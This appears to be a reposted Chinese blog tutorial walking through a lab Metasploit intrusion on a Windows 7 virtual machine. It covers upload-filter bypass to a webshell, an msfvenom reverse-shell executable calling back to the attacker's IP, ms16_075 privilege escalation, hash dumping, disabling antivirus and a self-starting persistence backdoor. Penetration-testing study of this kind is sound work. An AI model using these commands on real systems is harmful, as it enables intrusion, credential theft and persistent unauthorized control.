MSF——一次完整的渗透流程

Posted 漫路在线

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MSF——一次完整的渗透流程相关的知识,希望对你有一定的参考价值。

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)

介绍

Metasploit(简称msf)框架是一个开源的,旨在方便地进行渗透测试的框架,由Ruby语言编写而成,具有很好地拓展性,便于渗透测试人员开发,使用定制的工具模板。

Kali Linux自带了Metasploit,在控制台输入msfconsole,启动msf

kali中自带的msf版本是5,可自行升级。

笔者的话:本来我是不想写msf框架的,因为我认为Web安全只需要拿到WebShell就达到了目标,但是在我经过了几次实战时候,我发现了msf的重要性,msf框架在漏洞扫描,后渗透等多个方面都非常优秀,因此有了这篇文章。

Metasploit基础

msf存在多个模块,在这里进行介绍

  1. Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行
扫描、嗅探、指纹识别等相关功能以辅助渗透测试
  1. Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞
进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序
攻击,以及利用配置错误等,其中包含攻击者或渗透测试人员针对系统
中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,
每个漏洞都有相应的攻击代码。
  1. Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,
成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,
在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能
是简单地在目标操作系统系统上执行一些命令,如添加用户账号等。
  1. Post(后渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透
攻击动作,如获取敏感信息、实施跳板攻击等。
  1. Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、
IDS及类似的安全软件检测出。

我将通过一个完整的渗透测试来进行msf框架的初步讲解,这是我在一次实战中的操作,我用虚拟机进行了简单的模拟。

攻击机(Kali):192.168.157.131
目标机(Win7 x64):192.168.157.128

实战

访问目标机,看见一个文件上传点。

尝试上传WebShell,提示 “不正确的文件类型”

使用bp抓包,上传图片马,提示保存成功

把后缀改为php,成功上传

蚁剑访问,成功获取WebShell

使用whoami指令查看当前权限

在Kali中输入以下指令生成一个msf的木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.131 lport=4444 -f exe > shell.exe

其中, windows/meterpreter/reverse_tcp 是msf将要使用的 payloadlhost 是攻击机的ip地址,lport 是攻击机将要监听的端口。

通过这个语句,生成一个exe的木马

接下来将木马上传到被攻击的服务器上

在kali下输入msfconsole进入msf的控制台
输入:use exploit/multi/handler进入远程控制模块
输入:set payload windows/meterpreter/reverse_tcp使用Windows tcp远程反弹Payload

输入options查看该模块的参数

其中 LHOST 是生成木马时填写的 lhostLPORT 是生成木马时填写的 lport

输入:set LHOST 192.168.157.131来设置攻击机ip地址
输入:set LPORT 4444来设置攻击机监听端口

可以通过options查看当前参数

参数中Require的值为Yes的参数是必填项

接下来,输入runexploit开始监听

同时,在蚁剑中,进入控制台,输入shell.exe运行我们先前上传的木马程序

此时可以看到,在msf中收到了响应,反弹了一个Meterpreter的shell

Meterpreter中输入help查看帮助信息,在这里简单讲解一些指令

Meterpreter

Meterpreter常用指令
指令介绍
migrate进程迁徙。可以通过“migrate pid”来迁徙到其他进程中。其中,pid是被迁徙的进程id。(注:只有Windows可用)
getuid获取当前权限
getpid获取当前进程id
sysinfo返回系统信息
getsystem直接提升到最高权限(一般成功不了)
run killav关闭杀毒软件。在取得Meterpreter shell后最好最先执行该语句
shell进入目标机shell,输入“exit”退回到Meterpreter
pwd或getwd查看当前处于目标机的哪个目录
ls列出当前目录下的所有文件
cd切换目录
search在目标机中搜索文件。例如输入“search -f *.txt -d C:/”搜索C盘中所有后缀为txt的文件
upload上传文件。例如输入“upload 1.txt C:/1.txt”将攻击机目录下的1.txt上传到目标机的C盘
download下载文件。例如输入“download C:/1.txt 1.txt”将目标机C盘下的1.txt下载到攻击机上

提权

输入getuid查看当前权限,发现是manlu权限

输入shell进入目标机shell,输入systeminfo查看系统详细信息,包括但不限于系统补丁信息


接下来要在补丁中查找那些没有打的补丁,并且去网上找相关的exp进行提权

在这里我使用ms16_075 (KB3164038) 漏洞进行提权

回到meterpreter shell,输入background将当前shell转为后台执行,可以输入sessions查看目前已建立的session

接下来输入search ms16_075寻找相应的exp

可以看到,名为exploit/windows/local/ms16_075_reflection_juicy的exp评价是great,在这里就使用该exp进行提权

输入:use exploit/windows/local/ms16_075_reflection_juicyuse 1来选取要使用的exp

输入options查看该exp参数

只有一个参数SESSION需要填写

输入sessions查看建立的连接,找到需要提权的session,通过SET指定SESSION

接下来输入run执行即可

如果提权成功,会重新返回一个Meterpreter shell

此时再输入getuid查看权限,发现我们已经是system

抓取密码

在这里简单讲一下密码的抓取,具体的密码抓取会在之后详细讲解

在Meterpreter shell中输入run windows/gather/hashdump导出密码

得到密码的格式是类似这样的

UserName:500:xxxx:xxxx

其中第一个是用户名,第二个数字代表权限,500表示是管理员权限,后面两个加密的内容是密码,其中第二个加密的内容就是用户密码

例如,我想获取用户manlu的密码,我将密文复制

32ed87bdb5fdc5e9cba88547376818d4

接下来在网上解密

得到用户manlu的明文密码为123456

注:抓取密码需要SYSTEM权限

权限维持

我们通过持久化后门来进行权限维持

Persistence是一款使用安装自启动方式的持久性后门程序,可以利用它创建注册和文件。

输入run persistence -h查看所有的命令选项


输入指令:

run persistence -A -S -U -i 10 -p 1234 -r 192.168.157.131

语法解释:

  • A:自动启动Payload程序
  • S:系统启动时自动加载
  • U:用户登录时自动启动
  • X:开机时自动加载
  • i:回连的时间间隔
  • P:监听的反向链接端口号
  • r:攻击机IP地址

在这个语句中,我设置每隔10秒钟回连一次,这样目标机就会每隔10秒连接一次攻击机。

可以看到,在输入指令后,提示在目标机上新建了一个vbs文件并创建了一个服务。

此时我们重新打开一个msf终端,设置
payload:

windows/meterpreter/reverse_tcp

lhost:

192.168.157.131

lport:

1234

等待10秒,就可以收到目标机的连接

这样成功创建了持久化后门

结语

这篇文章并不是正式的教程,只是为了写一下使用Metasploit框架渗透的基本流程,同时写出msf框架的强大之处。在之后的文章,会详细写Metasploit框架的操作。

以上是关于MSF——一次完整的渗透流程的主要内容,如果未能解决你的问题,请参考以下文章

【渗透测试】-工具之MSF

MSF基本使用(基本结构与payload演示)

一次实战内网漫游

一个完整的渗透测试流程,分为那几块,每一块都有哪些内容

MSF内网渗透

内网渗透-完整的域渗透